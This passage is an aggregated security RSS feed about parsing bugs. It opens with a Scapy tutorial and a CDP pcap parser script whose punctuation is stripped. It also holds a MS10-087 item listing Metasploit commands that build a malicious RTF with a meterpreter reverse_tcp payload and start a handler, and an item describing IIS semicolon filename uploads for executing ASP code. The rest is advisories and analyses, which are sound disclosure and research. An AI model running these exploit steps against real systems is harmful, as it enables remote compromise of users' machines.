status    loads    igmp                  IGMP IGMPv2                              status    loads    vtp                   VLAN Trunking Protocol  VTP              status    loads    eigrp                 EIGRP                                    status    loads     As it can been support for several new protocols was added we can also see that some of them load and others are untested This protocols are contributions by external developers to the project To load the support for CDP we just issue the command load_contrib   load_contrib    cdp      I have a pcap file on the same folder with CDP packets in it so we can have a look at how they look, to read the packets we use the rdpcap  call to read them in to a variable  cdp_pkts   rdpcap    cdpcap      len cdp_pkts  16 As it can be seen there are 16 packets in this capture Lets take a look at the first packets   cdp_p   cdp_pkts 1   cdp_p , , ,   , , , , , , , , ,   ,     We can see that each packet has I s fields clearly defined if we do an ls  on the packet we can get them in a more readable format   ls cdp_p  dst          DestMACField           '01 00 0c cc cc cc'  None  src          MACField               '00 19 06 ea b8 85'  '00 00 00 00 00 00'  len          LenField               386              None  -- dsap         XByteField             170              0  ssap         XByteField             170              0  ctrl         ByteField              3                0  -- OUI          X3BytesField           12               0  code            XShortEnumField        8192             0  -- vers         ByteField              2                2  ttl          ByteField              180              180  cksum        XShortField            45245            None  msg          PacketListField         ,  , ,   , , , , , , , , ,   ,       WE can see that as it is expected the destination of all CDP packets is '01 00 0c cc cc cc' so this will be the easiest way to identify this packets inside a pcap The CDP fields are saved in the message, each containing a type and we can call each of the values in the type, they are following a TLV  Type Length Value  format With this information lets build a script to help us parse pcap files Lets start by making sure we have the proper libraries imported   usr bin python import    getopt import    logging import       re import       string import       sys Each one will server a different purpose for the script    getopt   Manage the script options that we will use   logging   Control any warning or error messages generated by the scapy library   re   Regular expression library   strings   Manage string objects   sys   Provides access system specific parameters Next we will import the scapy 220-Dev library and set the logging lever to errors only, this will eliminate the  No IPv6 Route  warning message that may show for those running the script on systems without proper IPv6 configurations   suppress the no route warning in scapy when loading logginggetLogger    scapyruntime    setLevel loggingERROR       import    scapy from scapyall    import      I like the use of a usage function in my code so I can call it anytime a user enters a wrong parameter, no parameter or simply does  h for help on the script We will create this function now  def    usage        Function for presenting usage of the tool       print        CDP Parse by Carlos Perez carlos_perez darkoperatorcom     print        Tool for printing to STDOUT information on CDP packets found capture     print        file Will print all supported options n     print        cdp_parserpy      print        -F   Directory containing pcaps     print        -f  pcap file     Now lets create our function to process each packet and print the info to standard out  1     def    process_packets pkts  2            3      Function    for    processing packets    and    printing information of CDP Packets 4            5   6         for       p       in    pkts  7               Check if the packet is a CDP Packet 8             if    Dot3    in       p       and       p   dst   '01 00 0c cc cc cc'  9              10                 print         n      11               12                 print        Source MAC     ,    p   src 13                   Process each field in the packet message 14                 for    f    in       p    CDPv2_HDR fields    msg     15   16                       Check if the filed type is a known one 17                     if    ftype    in    _cdp_tlv_types  18   19                           Process each field according to type 20                      f_type   _cdp_tlv_types ftype  21   22                           Make sure we process each address in the message 23                         if    rematch r     AddressesManagement Address     , f_type  24                             for    ip    in    ffields    addr     25                                 print    f_type, ipaddr 26   27                      elif f_type       Software Version     28                             print    f_type          29                             print         t       stringreplace fval,      n    ,      n t     30   31                      elif f_type       Port ID     32                             print    f_type,          , fiface 33   34                      elif f_type       Capabilities     35                               Ugly but works   36                             print    f_type,          ,      join refindall r    cap s S     , str fshow  37   38                      elif rematch r    Native VLANVoIP VLAN Reply    ,f_type  39                             print    f_type,          , fvlan 40   41                      elif f_type       Duplex     42                             print    f_type,          , _cdp_duplex fduplex  43   44                      elif f_type       IP Prefix     45                             print    f_type,          , fdefaultgw 46   47                      elif f_type       Power     48                             print    f_type,          , fpower,      mW     49   50                           Fields not yet implemented in the current version of the 51                           contributed cdp module 52                      elif f_type       Power Available     53                               I know, this should provide the amount of power 54                             print    f_type,       POE Enabled     55   56                      elif f_type       Protocol Hello     57                          pass 58   59                         else     60                          try  61                                   Make sure we do not have an empty value and print 62                                 if    fval is    not    ' 0'    and    len fval    0     print    f_type,          , fval 63   64                          except    Exception   , e  65                                 print        ERROR     , f_type 66                                 print    e 67                                 print        Send error to  carlos_perez at darkoperatorcom     68                              pass on line 1 we declare our function and we set the pkts variable as the input for the function On line 6 we are going to iterate thru each of the packets found the in the packet list we give the function, next on line 8 we check the destination of each packet to see if they are '01 00 0c cc cc cc' then they are CDP packets and we can proceed to parse them, on line 12 we will print the source MAC Address On line 17 we check if it is a know type that we can parse, if not we skip the type, In my testing I did not find any it could not do bust just in case Cisco adds one in the future or the packet has an error I added this line, specially since some vendors like HP had CDPv1 support and did some extensions Next on line 20 we get from hex to text the type name of the field by checking against the _cdp_tlv_types dictionary that is part of the CDP library Now from line 22 to line 54 we parse each type for which we know the name of the field and do not follow the stand name of val like the rest From lines 56 and 57 we skip the Protocol Hello type since it just prints a bunch of garbage for this type, still working on how to dissect this type If the type is not known we try to parse the TLV data and if an exception occurs an error is raised and my email is provided to sent the error to so I can work on improving the script this happens from lines 59 to 68 The next step is to create the main function that will handle options, open the pcap files and feed the packets to the function we just created 1     def    main  2   3      try  4               Check version 5             if       not    rematch r    2  2-9  S     , configconfversion  6                 print        You are not running the latest scapy release     7                 print        Please go to http tracsecdevorg scapy and follow the     8                 print        the instructions to download the latest versions     9              sys   exit    1  10   11               load the support for CDP Packets 12          load_contrib    cdp     13   14               Set Variables for Options 15          folder   None 16          pcap_file   None 17          pcap_files     18   19               Check that options are given 20             if    len sysargv    1  21              usage  22           sys   exit    1  23   24               Set Options 25          options, remainder   getoptgetopt sysargv 1 , 'F f h'  26   27               Parse Options 28             for    opt, arg    in    options  29                 if    opt    in     '-F'  30                  folder   arg 31              elif opt    in     '-f'  32                  pcap_file   arg 33              elif opt    in     '-h'  34                  usage  35             sys   exit    0  36                 else     37                  usage  38             sys   exit    1  39   40               Process folder with pcap files 41             if    folder  42                 if    ospathisdir folder  43                     for    item    in    oslistdir arg  44                      fullpath   ospathjoin arg, item  45                         if    ospathisfile fullpath     and     'cap'    in    item    or    'pcap'    in    item    or    'dump'    in    item  46                          pcap_filesappend fullpath  47                 else     48                     print        ERROR     , folder,     does not exists      49                  sys   exit    1  50   51               Process single pcap file 52             if    pcap_file  53                 if    ospathisfile pcap_file  54                  pcap_filesappemd pcap_file  55                 else     56                     print        ERROR     ,pcap_file,    does not exist      57                  sys   exit    1  58   59               Process all files selected and extract CDP Info 60             for    f    in    pcap_files  61              pcap   rdpcap f  62              process_packets pcap  63      except    Exception   , e  64             print    e 65             print        Send error to  carlos_perez at darkoperatorcom     66          pass 67   68     if    __name__   '__main__'  69      main  In the main function at line 5 we do a scapy version check making sure we are running a version equal or above 22x, if not we print a message indication that the wrong version is being used and to upgrade to the latest development version On line 11 we load the contributed CDP Parser this has to be loaded before we read the packets since they will be ran against it when read In lines 14 to 17 we set the option variables that we will use for the script From lines 19 to 22 check that options are given, if none is given we print the usage message and exit From lines 24 to 38 we parse the options and set the variables, if an option does not match our list of options we exit with an usage message From lines 41 to 49 we check if the folder option is set, if it we check that the folder exists and if it does we list the content of the folder and save the full path of each capture file found in to a list for use From lines 52 to 57 we check if a pcap file is specified, if it is we check that the file actualy exist and we save the full path to it in to the the same list we we saved the files for the folder, so both options can be used at the same time From lines 60 to 62 we parse each file on the list of files collected, read the packets and pass those to the process_packet function to process them This is a very simple simple, I tried my best to explain each part of it so for those starting with python and playing with scapy can follow it and learn You can download the whole script at cdp_parserpy </description><link>http://www.secuobs.com/revue/news/297689.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/297689.shtml</guid></item>
<item><title>MS10-087   Microsoft Office RTF Parsing Stack Overflow</title><description>2011-02-27 12:17:52 - SecurityTube.Net : Timeline   Vulnerability discovered by wushi of team509 Initial Vendor Notification by iDefense the 2009-08-12 Initial Vendor Reply to iDefense the 2009-08-12 Coordinated Public Disclosure the 2010-11-09 PoC provided by  wushi of team509 unknown jduck Reference s    CVE-2010-3333 MS10-087 Affected versions   Microsoft Office XP Service Pack 3 before KB2289169 Microsoft Office 2003 Service Pack 3 before KB2289187 Microsoft Office 2007 Service Pack 2 before KB2289158 Microsoft Office 2010  32-bit editions  before KB2289161 Microsoft Office 2010  64-bit editions  before KB2289161 Microsoft Office 2004 for Mac Microsoft Office 2008 for Mac before KB2476512 Microsoft Office for Mac 2011before KB2454823 Open XML File Format Converter for Mac before KB2476511 Tested on Windows XP SP3 with Office 2003 SP3 mswordexe version 11083280  KB2344911 from 12 October 2010  Description   This module exploits a stack-based buffer overflow in the handling of the 'pFragments' shape property within the Microsoft Word RTF parser All versions of Microsoft Office prior to the release of the MS10-087 bulletin are vulnerable This module does not attempt to exploit the vulnerability via Microsoft Outlook The Microsoft Word RTF parser was only used by default in versions of Microsoft Word itself prior to Office 2007 With the release of Office 2007, Microsoft began using the Word RTF parser, by default, to handle rich-text messages within Outlook as well It was possible to configure Outlook 2003 and earlier to use the Microsoft Word engine too, but it was not a default setting Metasploit demo   use exploit windows fileformat ms10_087_rtf_pfragments_bof set FILENAME testrtf set OUTPUTPATH  home eromang show targets set TARGET 0 set PAYLOAD windows meterpreter reverse_tcp set LHOST 19216817821 exploit use exploit multi handler set PAYLOAD windows meterpreter reverse_tcp set LHOST 19216817821 exploit sysinfo ipconfig Owned  IMAGE  </description><link>http://www.secuobs.com/revue/news/288003.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/288003.shtml</guid></item>
<item><title>Nessus Parsing  101    Security Aegis</title><description>2010-11-22 14:36:55 - Stratagem 13 : Nessus Parsing  101    Security Aegis </description><link>http://www.secuobs.com/revue/news/266565.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/266565.shtml</guid></item>
<item><title>Nessus Parsing  101 </title><description>2010-11-21 07:04:30 - Security Bloggers Network : A good friend of mine David Shaw recently released his Nessus nbe parsing utility in ruby called nbesortrb Nbesort is great, especially for large Nessus scans It's way more convenient than using the new web gui or viewing the reporting in HTML   </description><link>http://www.secuobs.com/revue/news/266404.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/266404.shtml</guid></item>
<item><title> OpenSSL TLS Extension Parsing Race Condition,  Tue, Nov 16th </title><description>2010-11-16 22:42:28 -       SANS Internet Storm Center  InfoCON  green : A flaw has been found in the OpenSSL TLS server extension affecting OpenSSL 09  more  </description><link>http://www.secuobs.com/revue/news/265325.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/265325.shtml</guid></item>
<item><title>Security Tracker  OpenSSL Buffer Overflow in TLS Server Extension Parsing May Let Remote Users Execute Arbitrary Code</title><description>2010-11-16 22:06:53 - Rootsecure.net : Security Tracker  OpenSSL Buffer Overflow in TLS Server Extension Parsing May Let Remote Users Execute Arbitrary Code </description><link>http://www.secuobs.com/revue/news/265301.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/265301.shtml</guid></item>
<item><title>Apple Mobile OfficeImport Framework Excel Parsing Memory Corruption Vulnerability</title><description>2010-11-11 21:38:48 - iDefense Public Vulnerability Disclosures : </description><link>http://www.secuobs.com/revue/news/264284.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/264284.shtml</guid></item>
<item><title>Microsoft Word RTF File Parsing Stack Buffer Overflow Vulnerability</title><description>2010-11-10 03:32:59 - iDefense Public Vulnerability Disclosures : </description><link>http://www.secuobs.com/revue/news/263737.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/263737.shtml</guid></item>
<item><title>Nessus XML parsing with awk</title><description>2010-10-12 08:59:21 - HiR Information Report : At the office, I use Nessus for automated network scanning and patch auditing With credentials and proper tuning of the scan policy, Nessus is a very powerful tool for more than skript kiddie network scanning This leaves me with a whole bunch of data to wade through on a weekly basis Usually, I only concern myself with the high-severity issues for weekly reports, then as I have time, I dig deeper into the more trivial problems Still, this required me to manually open the scan files, filter them by severity, and export the data I got tired of that and made a quick and really dirty XML parser  nessus files are XML  with shell and grep It was horrendously slow Andy, a fellow KC2600-er helped me wrap my brain around some of the finer points of awk to make it more efficient This is slightly modified from the one I use at work, which is part of a bigger script that does other things I figure it's useful for others who use Nessus regularly The script is here Basically, it stores the HostName tag when it encounters it, then iterates through the lines, storing them temporarily until it runs into a line indicating a high-severity plugin has been triggered  severity level 3 , then it spits out the host name and the plugin that was triggered I probably could write the whole thing in awk, but I wrapped it in a little bit of plain old shell script Output looks something like this  Windows ---------------------------------------------------- xxx19 MS10-062  Vulnerability in MPEG-4 Codec Could Allow Remote Code Execution  975558  xxx19 Adobe Reader   934   824 CoolTypedll SING Font 'uniqueName' Field Parsing Overflow  APSA10-02  xxx20 MS10-066  Vulnerability in Remote Procedure Call Could Allow Remote Code Execution  982802  Mac ---------------------------------------------------- xxx8 Mac OS X AFP Shared Folders Unauthenticated Access  Security Update 2010-006   uncredentialed check  Linux ---------------------------------------------------- xxx40 PHP 52  5214 Multiple Vulnerabilities We are proud members of the Security Bloggers Network This content originally posted on HiR Information Report Copyright   1997-2010, HiR  IMAGE   IMAGE   IMAGE   IMAGE   IMAGE IMAGE  </description><link>http://www.secuobs.com/revue/news/256079.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/256079.shtml</guid></item>
<item><title>A Parsing Quirk and a  NewTwitter XSS</title><description>2010-10-04 21:16:28 - Stephen Sclafani : I generally don t blog about individual XSS issues, however, this particular one was made more interesting as it took advantage of a parsing quirk of browsers that I ve seen increasingly be an issue as web applications become more  application  like with the help of javascript In 2009 the Mikeyy worm was able to inject javascript into    </description><link>http://www.secuobs.com/revue/news/254139.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/254139.shtml</guid></item>
<item><title>
										 papers  - 										MOAUB  29 - Microsoft Excel SxView  Record Parsing Heap Memory Corruption 
					 -  CVE  2010-1245 				</title><description>2010-09-29 14:47:00 - Exploit DB updates : </description><link>http://www.secuobs.com/revue/news/252767.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/252767.shtml</guid></item>
<item><title>
										 dos  - 										MOAUB  29 - Microsoft Excel SxView  Record Parsing Heap Memory Corruption 
					 -  CVE  2010-1245 				</title><description>2010-09-29 14:47:00 - Exploit DB updates : </description><link>http://www.secuobs.com/revue/news/252766.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/252766.shtml</guid></item>
<item><title>
										 papers  - 										MOAUB  23 - Microsoft Excel HFPicture Record Parsing Memory Corruption  0day  
									</title><description>2010-09-23 12:41:13 - Exploit DB updates : </description><link>http://www.secuobs.com/revue/news/250985.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/250985.shtml</guid></item>
<item><title>
										 dos  - 										MOAUB  23 - Microsoft Excel HFPicture Record Parsing Memory Corruption  0day  
									</title><description>2010-09-23 12:41:13 - Exploit DB updates : </description><link>http://www.secuobs.com/revue/news/250984.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/250984.shtml</guid></item>
<item><title>
										 papers  - 										MOAUB  21 - Microsoft Excel WOPT Record Parsing Heap Memory Corruption 
					 -  CVE  2010-1248 				</title><description>2010-09-21 12:50:54 - Exploit DB updates : </description><link>http://www.secuobs.com/revue/news/250219.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/250219.shtml</guid></item>
<item><title>
										 dos  - 										MOAUB  21 - Microsoft Excel WOPT Record Parsing Heap Memory Corruption 
					 -  CVE  2010-1248 				</title><description>2010-09-21 12:50:54 - Exploit DB updates : </description><link>http://www.secuobs.com/revue/news/250218.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/250218.shtml</guid></item>
<item><title>PDF sequential parsing</title><description>2010-09-21 01:05:00 - Feliam's Blog : As discussed in earlier posts the problem with PDF is that we can not apply an out-of-the-box scanner parser design pattern It won t let you scan it properly The size of a PDF stream is hard to be decided at scanner lexer time I ve suggested the solution of escaping the  endstream  keyword Also other patches emerged like,    </description><link>http://www.secuobs.com/revue/news/250028.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/250028.shtml</guid></item>
<item><title>Microsoft Office RTF Parsing Engine Memory Corruption Vulnerability</title><description>2010-09-17 02:37:17 - iDefense Public Vulnerability Disclosures : </description><link>http://www.secuobs.com/revue/news/248472.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/248472.shtml</guid></item>
<item><title>Microsoft Word RTF File Parsing Heap Buffer Overflow Vulnerability</title><description>2010-09-17 02:37:17 - iDefense Public Vulnerability Disclosures : </description><link>http://www.secuobs.com/revue/news/248471.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/248471.shtml</guid></item>
<item><title>Brief Analysis On Adobe Reader SING Table Parsing Vulnerability  CVE-2010-2883 </title><description>2010-09-17 02:04:25 - Security Labs :    So now pretty much everyone knows about the Adobe 0-day vulnerability found in the wild It is a classic stack buffer overflow inside CoolTypedll CoolTypedll has developed a bad reputation during the last few months This module has become a popular target for attackers Interestingly, the last jailbreakmecom exploit against iPhone also leverages a vulnerability inside a font processing routine And it is also a stack overflow You can check out our analysis here Looks like it's not using return address or SEH overwriting to gain EIP control, but controls some stack data and takes advantage of the calls made after the buffer overflow The buffer overflow itself is caused by a strcat API call on a fixed-size stack variable You might wonder what element of a PDF document can cause this issue A blog post titled Return of the Unpublished Adobe Vulnerability from the Metasploit project identifies the  uniqueName  field in a SING table as causing the issue So we dug into the issue by writing our own PDF parser to see what we can find The SING specification can be found in GlyDevKitzip The archive contains the specification file named  Gaiji SING Glyphlet Specpdf  Illustration 1  Malicious PDF Dissection Illustration 1 shows the SING table that is breaking Adobe parsing code The  uniqueName  field is supposed to hold an ASCII string The specification document clearly states that the  uniqueName  field is 28 bytes long and 7-bit ASCII with null-termination The problem with the data here is that it's not null-terminated Illustration 2  Raw Data of SING Table Illustration 2 shows the raw data causing the overflow Illustration 3  The Vulnerable Code with Unsafe strcat Call Illustration 3 shows the actual code that leads to buffer overflow When the block starts, the eax register holds the pointer to the start of the SING table The offset to uniqueName 10h  is added to the register at the first instruction  00803DD9F  It is used directly for strcat operation without any kind of sanitization or verification At the very least, the code should force null termination or verify null termination Or they can just copy a fixed size of data out of the  uniqueName  field because it's a fixed-sized field Illustration 4  Contaminated Stack after Overflow After the strcat call is performed the stack is ruined as shown in Illustration 4 So with this Adobe 0-day, we can learn two lessons First, don't trust any user data and don't pass any data without sanitization or verification Second, it might be time to throw away old unsafe string APIs Thanks to Mila Parkour for providing the sample </description><link>http://www.secuobs.com/revue/news/247978.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/247978.shtml</guid></item>
<item><title>
										 papers  - 										MOAUB  16 - Microsoft Excel HFPicture Record Parsing Remote Code Execution Vulnerability 
					 -  CVE  2010-1248 				</title><description>2010-09-17 01:23:23 - Exploit DB updates : </description><link>http://www.secuobs.com/revue/news/247201.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/247201.shtml</guid></item>
<item><title>
										 dos  - 										MOAUB  16 - Microsoft Excel HFPicture Record Parsing Remote Code Execution Vulnerability 
					 -  CVE  2010-1248 				</title><description>2010-09-17 01:23:23 - Exploit DB updates : </description><link>http://www.secuobs.com/revue/news/247199.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/247199.shtml</guid></item>
<item><title>
Adobe SING table parsing exploit  CVE-2010-2883  in the wild ,  Mon, Sep 13th </title><description>2010-09-17 00:37:19 -       SANS Internet Storm Center  InfoCON  green : We have received reports that CVE-2010-2883 is being actively exploited There are a couple of inte  more  </description><link>http://www.secuobs.com/revue/news/246578.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/246578.shtml</guid></item>
<item><title>ESET Smart Security 42 and NOD32 Antivirus 42  x32-x64  LZH parsing PoC</title><description>2010-05-07 21:04:53 - Exploit DB updates : </description><link>http://www.secuobs.com/revue/news/220056.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/220056.shtml</guid></item>
<item><title>Nessus Parsing Tools v131</title><description>2010-04-28 15:29:11 - Security Database Tools Watch : A set of tools to parsing the results of a report Code  nbesqlpy report_autopy report_manual_reviewpy report_portspy report_unsortedpy sql2htmlpy Single use syntax  nbe2sqlpy -i Windows batch for  f pourcentsa in  'dir  b  nbe'  do nbe2sqlpy -i pourcentsa for  f pourcentsa in  'dir  b  dat'  do report_helper_manual_reviewpy -i pourcentsa More information  here Thanks to Garrett Gee - Project Leader, from WestCoastHackersnet - for sharing this tool with    - Security Tools   Nessus, Vulnerability Management, Nessus Parsing Tools IMAGE   IMAGE   IMAGE   IMAGE   IMAGE IMAGE  </description><link>http://www.secuobs.com/revue/news/216901.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/216901.shtml</guid></item>
<item><title>XML Parsing and SOAP messages</title><description>2010-04-26 00:32:16 - Detroit Dave's Raves : For a recent project, I needed to create a Web Services Conversation Language  WSCL  document  actually, four of these  and then be able to use another Web Service acting as a conversation handler to parse this XML and verify the protocols contained in the WSCL doc This proved to be a challenge and reminded me that I need to better learn XML parsing in Web Services When a Web Service is created in Visual Studio, the service can be launched in a browser window This page will show you the service available as well as a link to the WSDL document, and comments on the namespace if it is set to the default URL of tempuriorg The screenshot below shows an example of this page Clicking on a Service name will allow you test the functionality of the service Here is where an important note is annotated When testing the operation directly, the parameters used are sent using HTTP POST However, when accessing the Web Service through another application service, the parameters are passed using SOAP messages by default So why is this important you might ask  Something gets lost in translation with the differences between HTTP POST and SOAP messages When attempting read an attribute from an XML element, one can use the XMLReaderGetAttribute  function This function is overloaded to allow for example  an int parameter  the index value of the attribute  or a string value of the attribute's XName So, when parsing an XML document, one way to do this  using Visual Studio 2008, C  is with something similar to the following  using  XmlReader reader   XmlReaderCreate url    readerRead  readerReadToFollowing DestinationInteraction  readerMoveToFirstAttribute  StartOp   readerGetAttribute href  readerClose    This block of code will create an XML reader object  reader  and will then move to first Element with a name value of  DestinationInteraction  The reader is then moved to the first attribute of the Element and then assigns to  string StartOp the value of the  href  attribute An example of the portion of the WSCL document that this is reading is  Notice that this Element has no values, only an attribute of  href  that has the value  OPName  And this is where the fun begins Parsing the value of Elements in an XML document is generally very easy A developer can code such that only the required Element s  is accessed  reducing overhead , or can parse the entire document, storing needed values for the application It's the parsing of attributes, specifically using an  int  as the parameter that presents a problem The bottom line is this  When using HTTP POST the XMLReaderGetAttribute int i  will work properly However, when attempting to use the int parameter in a SOAP message, this failed for me every time, with either an out-of-bounds error message  attributes can be accessed like an array  0n  or an invalid parameter error message Needless to say that this was very frustrating for me, especially since I spent a LOT of time on this only to realize that the easy answer was to use the string parameter Using XMLReaderGetAttribute string s  function allows the operation to execute properly  as long as s is a valid XName of the attribute  in both HTTP POST actions and with SOAP messages Unfortunately, this was another thing on which I spent a LOT of time that I really didn't have I was not able to determine the cause of the problem, although it is obviously something in the way the SOAP messages are being handled I assume it's the way that the client side is parsing the SOAP message and believe that although the SOAP message passes the int parameter as an int, the client-side is most likely parsing the int and casting it to a string I have finals this week and will be focused on that in my free time However, as SOON as my finals are over, I plan to spend some time on this one as I really want to know what the failure mechanism was with this operation </description><link>http://www.secuobs.com/revue/news/215892.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/215892.shtml</guid></item>
<item><title>Stateful handshake-parsing</title><description>2010-04-23 10:53:08 - Pyrit : About two weeks ago the update to Pyrit 031-svn r226 made Pyrit more picky about how it parsed the information from a capture-file and reconstruct the fourway-handshake This change solved some cases where Pyrit would combine packets from overlapping or incomplete handshakes which made the task of finding the correct PMK impossible Being more strict    </description><link>http://www.secuobs.com/revue/news/215332.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/215332.shtml</guid></item>
<item><title>Faster parsing</title><description>2010-04-23 10:53:08 - Pyrit : I ve changed the way Pyrit stores handshake information internally  The previous version basically tried every possible combinations, the latest svn-revision uses very efficient data-structures from the beginning This cuts the the time to parse a specially crafted file with hundreds of handshakes from almost four minutes to around two seconds Pyrit also now shoots down    </description><link>http://www.secuobs.com/revue/news/215330.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/215330.shtml</guid></item>
<item><title>EDraw Flowchart ActiveX Control 23  edd parsing  Remote Buffer Overflow PoC</title><description>2010-04-22 21:29:08 - Exploit DB updates : </description><link>http://www.secuobs.com/revue/news/215066.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/215066.shtml</guid></item>
<item><title>RPM Select Elite v50  xml config parsing  unicode buffer overflow PoC</title><description>2010-04-15 02:48:29 - Exploit DB updates : </description><link>http://www.secuobs.com/revue/news/212305.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/212305.shtml</guid></item>
<item><title>Grabit   172 beta 3 NZB file parsing stack overflow</title><description>2010-04-14 13:40:13 - blog.teusink.net : I can t usually find the time for vulnerability research, but a while ago I found a bug in Grabit, a popular usenet client with NZB support I posted the following message to Bugtraq and Full Disclosure today  Grabit   172 beta 3 NZB file parsing stack overflow Impact  Remote code execution Version    172 beta 3 Description Grabit is a popular Windows usenet client designed for downloading binary files It has support for NZB files, which a user would usually acquire from an external source Version 172 beta 3 is vulnerable to a stack overflow when parsing DTD references in NZB files Earlier versions are vulnerable as well Reliable exploitation is pretty straightforward Fix I reported this to the author a while ago He has now released version 172 beta 4, which fixes the bug It can be downloaded at http wwwshemescom  </description><link>http://www.secuobs.com/revue/news/212010.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/212010.shtml</guid></item>
<item><title>Parsing the Splunk Timezone Format</title><description>2010-02-07 19:27:52 - SOURCE Conference Blog :    Every once in a while, rarely, you may get a splunkdlog error that looks something like this  12-07-2009 14 32 06894 ERROR bucket - Failed to resurrect timezone  ' ' delimited  '  SERIALIZED TIMEZONE FORMAT 10 C0 Y0 NW 47 4D 54  ' This is splunk saying it can t parse the timezone description it just got This can be a problem when you re in a distributed environment, and you re asking for data to be bucketed  collected  into time-specific chunks A typical example is when using timecharts The fix for this particular issue is called Splunk 407, but if you re curious to know what timzeone it actually is, the digits of hex are the name, represented as ascii values A quick trip to python shows us a more familiar name  jrodman joshbook  python Python 261  </description><link>http://www.secuobs.com/revue/news/189419.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/189419.shtml</guid></item>
<item><title>OpenOffice  slk  File Parsing Null Pointer Vulnerability</title><description>2010-01-19 08:54:00 - Exploit DB updates : </description><link>http://www.secuobs.com/revue/news/183029.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/183029.shtml</guid></item>
<item><title>Apple Mac OS X strtod  Floating Point Parsing Corruption de la Mémoire</title><description>2010-01-12 18:42:34 - Bulletins et Alertes de Sécurité SECURINFOS.INFO : Une vulnérabilité a été identifiée dans Mac OS X, qui pourrait être exploitée par des personnes malintentionnées pour potentiellement compromettre un système vulnérable </description><link>http://www.secuobs.com/revue/news/180734.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/180734.shtml</guid></item>
<item><title>Audiotran PLS Parsing   Vulnérabilité de Dépassement de Tampon</title><description>2010-01-11 10:30:11 - Bulletins et Alertes de Sécurité SECURINFOS.INFO : Une vulnérabilité a été identifiée dans Audiotran, qui pourrait être exploitée par des personnes malintentionnées pour compromettre un système vulnérable </description><link>http://www.secuobs.com/revue/news/180149.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/180149.shtml</guid></item>
<item><title>Microsoft says IIS parsing problem is not a flaw, needs no patch</title><description>2010-01-05 04:54:44 - SearchSecurity.com.au Analysis   Commentary :    Microsoft has checked out a newly-discovered IIS parsing extension flaw and says it is not a bug, but a configuration problem  IMAGE   IMAGE   IMAGE IMAGE  </description><link>http://www.secuobs.com/revue/news/178197.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/178197.shtml</guid></item>
<item><title>PDF-XChange Viewer Content Parsing   Vulnérabilité de Corruption de Mémoire</title><description>2010-01-04 19:45:00 - Bulletins et Alertes de Sécurité SECURINFOS.INFO : Secunia Research a découvert une vulnérabilité dans PDF-XChange Viewer, qui pourrait être exploitée par des personnes malintentionnées pour compromettre un système vulnérable </description><link>http://www.secuobs.com/revue/news/177986.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/177986.shtml</guid></item>
<item><title>Soroush Dalili  Microsoft IIS 0Day Vulnerability in Parsing Files  pdf </title><description>2009-12-28 21:25:12 - Rootsecure.net : Soroush Dalili  Microsoft IIS 0Day Vulnerability in Parsing Files  pdf  </description><link>http://www.secuobs.com/revue/news/176220.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/176220.shtml</guid></item>
<item><title>Microsoft IIS File Parsing Extension Vulnerability,  Thu, Dec 24th </title><description>2009-12-25 00:10:57 -       SANS Internet Storm Center  InfoCON  green : A vulnerability has been identified in Microsoft Internet Information Services  IIS  where the serve  more  </description><link>http://www.secuobs.com/revue/news/175714.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/175714.shtml</guid></item>
<item><title>IIS 0 day vulnerability in parsing files</title><description>2009-12-24 22:49:06 - www.notsosecure.com : Ferruh passed this onto me and this looks like a really interesting vulnerability Essentially if you can upload a file with semicolon  in it, you may be able to upload and execute asp code IIS can execute any extension as an Active Server Page or any other executable extension For instance  maliciousasp jpg  is executed as an    </description><link>http://www.secuobs.com/revue/news/175694.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/175694.shtml</guid></item>
<item><title>Sun Solaris Gimp BMP Image Parsing   Dépassement d'Entier</title><description>2009-12-16 17:52:12 - Bulletins et Alertes de Sécurité SECURINFOS.INFO : Sun a reconnu une vulnérabilité dans Solaris, qui pourrait être exploitée par des personnes malintentionnées pour potentiellement compromettre le système d'un utilisateur </description><link>http://www.secuobs.com/revue/news/172867.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/172867.shtml</guid></item>
